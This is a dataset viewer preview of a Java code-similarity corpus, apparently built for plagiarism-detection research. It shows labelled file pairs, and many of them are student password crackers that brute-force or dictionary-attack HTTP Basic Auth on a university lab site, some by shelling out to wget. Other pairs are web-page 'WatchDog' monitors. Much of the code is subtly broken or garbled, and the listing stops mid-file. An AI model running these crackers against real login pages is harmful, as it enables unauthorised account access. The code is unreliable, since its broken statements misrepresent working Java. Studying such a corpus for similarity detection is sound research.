Dataset Preview
Viewer
The full dataset viewer is not available (click to read why). Only showing a preview of the rows.
The dataset generation failed because of a cast error
Error code:   DatasetGenerationCastError
Exception:    DatasetGenerationCastError
Message:      An error occurred while generating the dataset

All the data files must have the same columns, but at some point there are 3 missing columns ({'F2', 'label', 'text_2'})

This happened while the csv dataset builder was generating data using

hf://datasets/buelfhood/SOCO_Corpus/Quora_SIM/corpus_dataset_train.csv (at revision 096d8df4b9022c6977df15b13742c5edfa77afde)

Please either edit the data files to have matching columns, or separate them into different configurations (see docs at https://hf.co/docs/hub/datasets-manual-configuration#multiple-configurations)
Traceback:    Traceback (most recent call last):
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/builder.py", line 2011, in _prepare_split_single
                  writer.write_table(table)
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/arrow_writer.py", line 585, in write_table
                  pa_table = table_cast(pa_table, self._schema)
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/table.py", line 2302, in table_cast
                  return cast_table_to_schema(table, schema)
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/table.py", line 2256, in cast_table_to_schema
                  raise CastError(
              datasets.table.CastError: Couldn't cast
              F1: string
              text_1: string
              -- schema metadata --
              pandas: '{"index_columns": [{"kind": "range", "name": null, "start": 0, "' + 477
              to
              {'F1': Value(dtype='string', id=None), 'F2': Value(dtype='string', id=None), 'label': Value(dtype='int64', id=None), 'text_1': Value(dtype='string', id=None), 'text_2': Value(dtype='string', id=None)}
              because column names don't match
              
              During handling of the above exception, another exception occurred:
              
              Traceback (most recent call last):
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 1321, in compute_config_parquet_and_info_response
                  parquet_operations = convert_to_parquet(builder)
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 935, in convert_to_parquet
                  builder.download_and_prepare(
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/builder.py", line 1027, in download_and_prepare
                  self._download_and_prepare(
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/builder.py", line 1122, in _download_and_prepare
                  self._prepare_split(split_generator, **prepare_split_kwargs)
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/builder.py", line 1882, in _prepare_split
                  for job_id, done, content in self._prepare_split_single(
                File "/src/services/worker/.venv/lib/python3.9/site-packages/datasets/builder.py", line 2013, in _prepare_split_single
                  raise DatasetGenerationCastError.from_cast_error(
              datasets.exceptions.DatasetGenerationCastError: An error occurred while generating the dataset
              
              All the data files must have the same columns, but at some point there are 3 missing columns ({'F2', 'label', 'text_2'})
              
              This happened while the csv dataset builder was generating data using
              
              hf://datasets/buelfhood/SOCO_Corpus/Quora_SIM/corpus_dataset_train.csv (at revision 096d8df4b9022c6977df15b13742c5edfa77afde)
              
              Please either edit the data files to have matching columns, or separate them into different configurations (see docs at https://hf.co/docs/hub/datasets-manual-configuration#multiple-configurations)

Need help to make the dataset viewer work? Open a discussion for direct support.

F1
string
F2
string
label
int64
text_1
string
text_2
string
224.java
110.java
0
import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class Dictionary extends Thread { private static final String USERNAME = ""; private static final String DICTIONARY_FILE = "/usr/share/lib/dict/words"; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public Dictionary(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("Usage: java Dictionary <url>"); System.exit(1); } try { dic(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void dic(String address, String user) { Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); try { BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); String password = null; while((password = buff.readLine()) != null) { if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e) {} } threads[index] = new Dictionary(address, password.trim()); threads[index].get(); index = (index++) % threads.length; } } catch(Exception e) { e.printStackTrace(); } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println("Found the password: \""+password+"\"!"); SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:"); System.out.println("Process started at: "+format.format(startDate)); System.out.println("Process started at: "+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println("Time taken: "+timeTaken+" minutes"); System.exit(0); } else { System.out.println("Password: \""+password+"\" Failed!"); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = " "+Base64Encoder.encode(user+":"+pass); conn.setRequestProperty ("Authorization", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } }
import java.io.BufferedReader; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.PrintStream; import java.net.MalformedURLException; import java.net.URL; public class Watchdog { static final String LOGON_SITE = WatchdogPropertyHelper.getProperty("logonSite"); static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty("previousFileName"); static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty("currentFileName"); static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty("timeInMilliseconds"); static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer"); static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient"); static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender"); static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader"); private static final String COMMAND = WatchdogPropertyHelper.getProperty("unixCommand"); public static void main(String[] args) { System.out.println(" Monitoring the Web : "+ LOGON_SITE); System.out.println("The output of this is written the file: "+ PREVIOUS_FILE_NAME); System.out.println("The webpage monitored every: "+ TIME_IN_MILLS+ " milliseconds"); Watchdog watchdog = new Watchdog(); watchdog.accessWebPage(LOGON_SITE); } public void accessWebPage( String urlString ) { BufferedReader reader = null; BufferedReader readerNew = null; String data = null; FileOutputStream out = null; FileOutputStream outNew = null; PrintStream p = null; PrintStream pNew = null; URL url = null; while (true) { try { out = new FileOutputStream(PREVIOUS_FILE_NAME); p = new PrintStream( out ); url = new URL(urlString); reader = new BufferedReader (new InputStreamReader(url.openStream())); while (( data = reader.readLine()) != null ) { p.println(data); } System.out.println("Completed writing the output the file: "+ PREVIOUS_FILE_NAME); } catch (MalformedURLException mfue) { mfue.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } finally { p.close(); } try { System.out.println("Sleeping for : "+ TIME_IN_MILLS+ " milliseconds"); Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue()); outNew = new FileOutputStream(CURRENT_FILE_NAME); pNew = new PrintStream(outNew); readerNew = new BufferedReader (new InputStreamReader(url.openStream())); while (( data = readerNew.readLine()) != null ) { pNew.println(data); } System.out.println("Completed writing the output the file: "+ PREVIOUS_FILE_NAME); } catch (MalformedURLException mfue) { mfue.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } finally { pNew.close(); } InputStream inputStream = null; int count = 0; System.out.println(" comparing the the current content with the previous content "); System.out.println("Executing the command: " + COMMAND); try { Process process = Runtime.getRuntime().exec(COMMAND); process.waitFor(); inputStream = process.getInputStream(); } catch (Exception e) { System.out.println("Error Executing the command: " + COMMAND+ "\n " + e.toString()); } try { count = inputStream.available(); if (count > 0) { byte[] buffer = new byte[count]; inputStream.read(buffer); String stdout = new String(buffer); System.out.println("The following changes has occured in the web "); System.out.println(stdout); Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout); } else { System.out.println(" has been change the site"); } } catch (Exception g) { System.out.println("Exception: " + g.toString()); } } } public Watchdog() { } }
175.java
053.java
0
import java.io.*; import java.net.*; import java.util.*; public class BruteForce { public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { char first, second, third; String password=""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + ""; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + "" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + "" + second + "" + third; if (testPassword(password, startTime, requests)) return password; if (k==90) k=96; } if (j==90) j=96; } if (i==90) i=96; } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection connection; String userPassword = ":" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty("Authorization", " " + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println("It took " + getTime(startTime) + " milliseconds find the password."); System.out.println(" were " + requests + " requests ."); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print("Invalid URL"); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } }
import java.net.*; import java.io.*; import java.misc.*; public class Dictionary { public static void main (String args[]) { String file = "/usr/share/lib/dict/words"; FileReader fRead; BufferedReader buf; try { fRead = new FileReader(file); buf = new BufferedReader(fRead); String Password = ""; int i=0; while( (Password = buf.readLine()) != null) { i++; String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", Password, i); } } catch(FileNotFoundException e) { System.out.println("File not found"); } catch(IOException ioe) { System.out.println("IO Error " + ioe); } } public static String encode (String source) { BASE64Encoder enc = new source.misc.BASE64Encoder(); return(enc.encode(source.getBytes())); } public static String myurl (String url, String Name, String Password, int val ) { String thisLine; String retVal; URL u; URLConnection uc; retVal = ""; try { u = new URL(url); try { uc = u.openConnection(); if (Name != null) { uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password)); } InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { retVal += line; System.out.println(line); System.out.println("password="+Password+";number:"+num); System.exit(0); } } catch (Exception e) { ; } } catch (MalformedURLException e) { return(url + " is not a parseable URL"); } return retVal; } }
141.java
245.java
0
import java.net.*; import java.io.*; import java.util.*; public class WatchDog { public WatchDog() { } public static void main(String[] args) { try { if( args.length != 2 ) { System.out.println("USAGE: java WatchDog <URL> <mailing UserName>"); System.exit(0); } Runtime.getRuntime().exec("rm LastWatch.html"); Runtime.getRuntime().exec("rm WatchDog.ini"); Thread.sleep(1000); while (true) { WatchDog myWatchDog = new WatchDog(); myWatchDog.readHTML(args[0], args[1]); Runtime.getRuntime().exec("rm Report.txt"); Runtime.getRuntime().exec("rm diffReport.txt"); Runtime.getRuntime().exec("rm NewWatch.txt"); System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog..."); Thread.sleep(2*60*1000); } } catch (Exception e) { e.printStackTrace(); } } void readHTML (String strHTML, String userName) { Properties myProp = loadLastMD5 (); try { System.out.println("Running WatchDog \"" + strHTML + "\" ...... Please Wait...."); URL url = new URL (strHTML); String strHost = url.getHost().toLowerCase(); Runtime r = Runtime.getRuntime(); InputStream in = url.openStream(); DataInputStream bf = new DataInputStream (in); FileOutputStream fOut = new FileOutputStream ("Watch.html"); DataOutputStream dOut = new DataOutputStream (fOut); Vector vtrImages = new Vector (); while ( bf!= null) { String str = bf.readLine(); if (str == null) break; if ( str.toLowerCase().indexOf("img") > 0 ) { int indexImg = str.toLowerCase().indexOf("img"); int indexImgUrl = str.toLowerCase().indexOf("\"", indexImg); int indexImgUrlEnd = str.toLowerCase().indexOf("\"", indexImgUrl+1); String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd); if (strImage.toLowerCase().indexOf(strHost) > 0) { int index = strImage.toLowerCase().indexOf(strHost) + strHost.length(); strImage = strImage.toLowerCase().substring(index); } if (!vtrImages.contains(strImage.toLowerCase())) vtrImages.add (strImage.toLowerCase()); } dOut.writeBytes(str+"\n"); } dOut.print(); fOut.print(); for (int i=0 ; i < vtrImages.size() ; i ++) { r.exec("wget " + strHost + vtrImages.get(i).toString().trim()); } Thread.sleep(2000); String [] command = {"//sh", "-c","md5sum *.* > NewWatch.txt"}; Runtime.getRuntime().exec(command); Thread.sleep(1000); FileInputStream fIn = new FileInputStream ("NewWatch.txt"); DataInputStream = new DataInputStream (fIn); Properties prop = new Properties (); while ( bf != null) { String str = bf.readLine(); if (str == null) break; int index = str.indexOf(" "); if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase("Watch.html") ) prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase()); } fIn.close(); int isAnyChange = GenerateChangeFile (strHTML, myProp, prop); if (isAnyChange > 0) { if (isAnyChange == 2) { File f = new File ("LastWatch.html"); if (! f.exists()) { f.createNewFile(); Thread.sleep(1000); } String [] diffCommand = {"//sh", "-c","diff Watch.html LastWatch.html > diffReport.txt"}; Runtime.getRuntime().exec(diffCommand); Thread.sleep(2000); FileInputStream feIn = new FileInputStream ("diffReport.txt"); DataInputStream deIn = new DataInputStream (feIn); FileOutputStream feOut = new FileOutputStream ("Report.txt", true); DataOutputStream deOut = new DataOutputStream (feOut); deOut.writeBytes("\n\n\nDifferences in Target :\n\n"); while (deIn != null) { String str = deIn.readLine(); if (str == null) break; deOut.writeBytes(str + "\n"); } deOut.print(); feOut.print(); deIn.close(); feIn.close(); } String [] mailCommand = {"//sh", "-c","less Report.txt | mail " + userName}; Runtime.getRuntime().exec(mailCommand); System.out.println("Mailing difference"); } else System.out.println(" difference detected"); Runtime.getRuntime().exec("mv Watch.html LastWatch.html"); } catch (Exception e) { e.printStackTrace(); } } private Properties loadLastMD5 () { Properties myProp = new Properties (); try { myProp.load(new FileInputStream ("WatchDog.ini")); } catch (Exception e) { } return myProp; } private boolean fileDownloaded (String strFile, Vector vtrImages) { for ( int i = 0 ; i < vtrImages.size() ; i ++ ) { String strImage = vtrImages.get(i).toString().trim(); if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 ) return true; } return false; } private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop) { int change = 0; boolean boolMainChange = false; try { FileOutputStream myOut = new FileOutputStream ("WatchDog.ini"); DataOutputStream myIniOut = new DataOutputStream (myOut); FileOutputStream fOut = new FileOutputStream ("Report.txt"); DataOutputStream dOut = new DataOutputStream (fOut); dOut.writeBytes("Report of changes for \"" + strUrl + "\":\n\n\n\n\n"); Enumeration e = prop.keys(); while (e.hasMoreElements()) { String file = e.nextElement().toString().toLowerCase().trim(); Runtime.getRuntime().exec("rm " + file); myIniOut.writeBytes(file.toLowerCase() + "=" + prop.getProperty(file) + "\n"); if (myProp.containsKey(file)) { String OldValue = myProp.getProperty(file); String newValue = prop.getProperty(file); if (OldValue != null && newValue != null) { if (!OldValue.trim().equals(newValue.trim())) { if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html")) { dOut.writeBytes("Traget html has been changed\n"); boolMainChange = true; } else dOut.writeBytes("File \"" + file + "\" has been changed\n"); change = 1; } } } else { if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html")) { dOut.writeBytes("Target html is checked for first time\n"); boolMainChange = true; } else dOut.writeBytes("File \"" + file + "\" is checked for first time and is new\n"); change = 1; } } dOut.print(); fOut.print(); myIniOut.close(); myOut.close(); } catch (Exception ex) { ex.printStackTrace (); } if (boolMainChange) return 2; return change; } }
import java.*; import java.io.*; import java.text.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class WatchDog { public static void main(String[] args) throws IOException { String host = "http://www.cs.rmit.edu./students/"; String outFilename = null; String diffFilename = null; String email = "@cs.rmit.edu."; String subject = null; String message = "msg"; String mutt = null; List currentList = new ArrayList(); List previousList = new ArrayList(); List diffList = new ArrayList(); String line = null; String previousLine = null; String diffLine = null; int sleepTime = 1000 * 60 * 60 * 24; SimpleDateFormat format = new SimpleDateFormat("yyyyMMddkmm"); Date currentDate = null; int c=0; { try { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); InputStream webIn = httpConnect.getInputStream(); BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) ); currentDate = null; currentDate = new java.util.Date(); String dateString = format.format(currentDate); outFilename = "watch_" + dateString; File outputFile = new File(outFilename); FileWriter out = new FileWriter(outputFile); diffFilename = "diff_" + dateString; File diffOutputFile = new File(diffFilename); FileWriter diffOut = new FileWriter(diffOutputFile); line = ""; while (( line = webReader.readLine()) != null ) { currentList.add(line + "\n"); } webReader.close(); Iterator iter = currentList.iterator(); line = ""; previousLine = ""; diffLine = ""; int l=0; int d=0; while (iter.hasNext()) { line = String.valueOf(iter.next()); out.write(line); if (!previousList.isEmpty()) { try { previousLine = String.valueOf(previousList.get(l)); if (line.compareTo(previousLine)==0) { } else { diffLine = "Line " + (l+1) + " has changed : " + line; diffOut.write(diffLine); d++; } } catch (Exception e) { diffLine = "Line " + (l+1) + " has been added: " + line + " \n"; diffOut.write(diffLine); d++; } } l++; } out.close(); diffOut.close(); previousList.clear(); previousList.addAll(currentList); currentList.clear(); diffList.clear(); if (d>0) { subject = "WatchDog_" + dateString; mutt = "mutt -a " + diffFilename + " -s " + subject + " " + email; System.out.println("The webpage has changed."); Runtime rt = Runtime.getRuntime(); rt.exec(mutt); System.out.println("Email sent " + email + " at " + dateString); } else if (c>0) { System.out.println("Webpage checked at " + dateString + " and changes were found"); } } catch(MalformedURLException e) { System.out.println("Opps, the URL " + host + " is not valid."); System.out.println("Please check the URL and try again."); System.exit(0); } catch(IOException e) { System.out.println(", 't connect " + host + "."); System.out.println("Please check the URL and try again."); System.out.println("Other possible causes include website is currently unavailable"); System.out.println(" I have a problem writing ."); System.exit(0); } try { Thread.sleep(sleepTime); } catch (Exception e) { } c++; } while(true); } }
167.java
002.java
0
package java.httputils; import java.io.IOException; import java.net.MalformedURLException; import java.util.ArrayList; import java.util.Iterator; public class RunnableHttpRequest extends Thread { protected String targetURL = "http://localhost:8080/"; protected int requestCount = 1; protected ArrayList timingList = new ArrayList(); protected HttpRequestClient req; Boolean finished = new Boolean(false); HttpRequestThreadPool pool; public void run() { try { for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++) { try { req = new HttpRequestClient(getTargetURL()); } catch (MalformedURLException e) { e.printStackTrace(); break; } catch (IOException e) { e.printStackTrace(); break; } } } finally { i = 0; Iterator iter = getTimingList().iterator(); while (iter.hasNext()) { element e = iter.next(); i+= element.longValue(); } System.out.println( "*** Average Request processing time (milliseconds): " ); getPool().setThreadAverageTime(this, getTimingList().size()); setFinished(new Boolean(true)); } } public RunnableHttpRequest() { super(); } public RunnableHttpRequest( String targetURL, int requestCount, String threadName, ThreadGroup group, HttpRequestThreadPool pool) { super(group, threadName); setTargetURL(targetURL); setRequestCount(requestCount); setPool(pool); } public int getRequestCount() { return requestCount; } public String getTargetURL() { return targetURL; } public void setRequestCount(int i) { requestCount = i; } public void setTargetURL(String string) { targetURL = string; } public static void main(String[] args) { RunnableHttpRequest client = null; try { ThreadGroup group = new ThreadGroup("testGroup1"); client = new RunnableHttpRequest( args[0], Integer.parseInt(args[1]), "test1", group, null); client.close(); try { while (!client.getFinished().booleanValue()) { sleep(100); } } catch (InterruptedException e) { e.printStackTrace(); } } finally { if (client != null) { System.out.println( "Request processing time (milliseconds): " + client.getTimingList()); } } } public HttpRequestClient getReq() { return req; } public ArrayList getTimingList() { return timingList; } public void setReq(HttpRequestClient client) { req = client; } public void setTimingList(ArrayList list) { timingList = list; } Boolean getFinished() { return finished; } synchronized void setFinished(Boolean boolean1) { finished = boolean1; } public HttpRequestThreadPool getPool() { return pool; } public void setPool(HttpRequestThreadPool pool) { this.pool = pool; } }
import java.io.*; class Dictionary{ public static void main(String args[]){ try{ File file = new File("words"); FileReader fr = new FileReader(file); BufferedReader bf = new BufferedReader(fr); URLHack uh = new URLHack(); String line=""; while((line = bf.readLine()) != null){ if(line.length() <=3) { uh.crackIt(line); } } } catch(IOException ioe){ System.out.println("Error: "+ioe); } } } class URLHack{ public void crackIt(String paas){ Process p=null; try{ p = Runtime.getRuntime().exec("wget -nv --http-user= --http-passwd="+paas+ " http://sec-crack.cs.rmit.edu./SEC/2/"); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""; tempLine = bf.readLine(); System.out.println(tempLine); if(tempLine.length() == 21) System.out.println("Invalid Password " +paas); else { System.out.println("Password is " + paas); System.exit(0); } } catch(Exception e){ System.out.println(" ERROR "+e); } } }
203.java
000.java
0
import java.net.*; import java.io.*; import java.util.*; public class MailClient { private String host; private int port; private String message; public MailClient( String host, int port, Vector lineNumbers) { this.host = host; this.port = port; StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "); for( int i = 0; i < lineNumbers.size(); i++) { buf.append( lineNumbers.elementAt( i)); buf.append(", "); } message = buf.toString(); } public void connect() { try { Socket client = new Socket( host, port); handleConnection( client); } catch ( UnknownHostException uhe) { System.out.println("Unknown host: " + host); uhe.printStackTrace(); } catch (IOException ioe) { System.out.println("IOException: " + ioe); ioe.printStackTrace(); } } private void handleConnection(Socket client) { try { PrintWriter out = new PrintWriter( client.getOutputStream(), true); InputStream in = client.getInputStream(); byte[] response = new byte[1000]; in.send( response); out.println("HELO "+host); int numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("MAIL FROM: watch.dog@cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("RCPT : @cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("DATA"); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println( message+"\n."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("QUIT"); client.connect(); } catch(IOException ioe) { System.out.println("Couldn't make connection:" + ioe); } } public static void main( String[] args) { Vector v = new Vector(); v.add( new Integer(5)); v.add( new Integer(12)); MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v); c.connect(); } }
import java.io.*; class BruteForce{ public static void main (String args[]){ URLHack uh = new URLHack(); String pas,pas1,pas2,pas3; String passs; for(int i = 97; i <= 122; i++) { for(int j = 97; j <=122; j++) { for(int k = 97; k <= 122; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } System.exit(0); for(int i = 65; i <= 90; i++) { for(int j = 65; j <=90; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 65; i <= 90; i++) { for(int j = 97; j <=122; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 97; i <= 122; i++) { for(int j = 97; j <=122; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 97; i <= 122; i++) { for(int j = 65; j <=90; j++) { for(int k = 65; k <= 90; k++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); pas3 = new Character((char)k).toString(); passs= pas1+pas2+pas3; uh.crackIt(passs); } } } for(int i = 65; i <= 90; i++) { for(int j = 97; j <= 122; j++) { pas1 = new Character((char)i).toString(); pas2 = new Character((char)j).toString(); passs= pas1+pas2; uh.crackIt(passs); } } } } class URLHack{ public void crackIt(String paas){ Process p=null; try{ p = Runtime.getRuntime().exec("wget -nv --http-user= --http-passwd="+paas+ " http://sec-crack.cs.rmit.edu./SEC/2/"); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""; tempLine = bf.readLine(); System.out.println(tempLine); if(tempLine.length() == 21) System.out.println("Invalid Password " +paas); else { System.out.println("BINGO " + paas); System.exit(0); } } catch(Exception e){ System.out.println(" ERROR "+e); } } }
193.java
121.java
0
import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class Dictionary { static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strOneLetterWords[]; static String strTwoLetterWords[]; static String strThreeLetterWords[]; static String strExceptionPassword[]; static String strLastPasswordTested; static String username = ""; static int intNumberOfOneLetterWords = 0; static int intNumberOfTwoLetterWords = 0; static int intNumberOfThreeLetterWords = 0; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static int intTotalNumberOfWordsInFile = 0; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; String strLine; String strTextFileName = "/usr/share/lib/dict/words"; boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int intCounter1; int intCounter2; int intCounter3; int intTotalNumberOfWordsChecked = 0; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); strExceptionPassword = new String[5000]; getNumberOfVariousLengthsOfWords(strTextFileName); strOneLetterWords = new String[intNumberOfOneLetterWords]; strTwoLetterWords = new String[intNumberOfTwoLetterWords]; strThreeLetterWords = new String[intNumberOfThreeLetterWords]; populateTheDifferentLengthArrays(strTextFileName); if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strThreeLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2] + strOneLetterWords[intCounter3], boolPasswordFound); intCounter3++; intTotalNumberOfWordsChecked++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strTwoLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } } calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println("Length of time for processing: " + ((lngFinish - lngStart) / 1000) + " seconds"); System.out.println(); System.out.println("Total number of words in dictionary file = " + intTotalNumberOfWordsInFile); System.out.println(); System.out.println("Input file: number of words with one letter length = " + intNumberOfOneLetterWords); System.out.println("Input file: number of words with two letter length = " + intNumberOfTwoLetterWords); System.out.println("Input file: number of words with three letter length = " + intNumberOfThreeLetterWords); System.out.println(); System.out.println("Number of connection attempts = " + intTotalNumberOfWordsChecked); System.out.println(); System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1)); System.out.println(); if (intExceptionCount >= 0) { System.out.print("These passwords WERE "); if (boolExceptionPasswordsTestedAgain) System.out.print("tested again."); else System.out.print("NOT tested again."); System.out.println(); } if (boolPasswordFound) { System.out.println("The correct password WAS found - this password is '" + 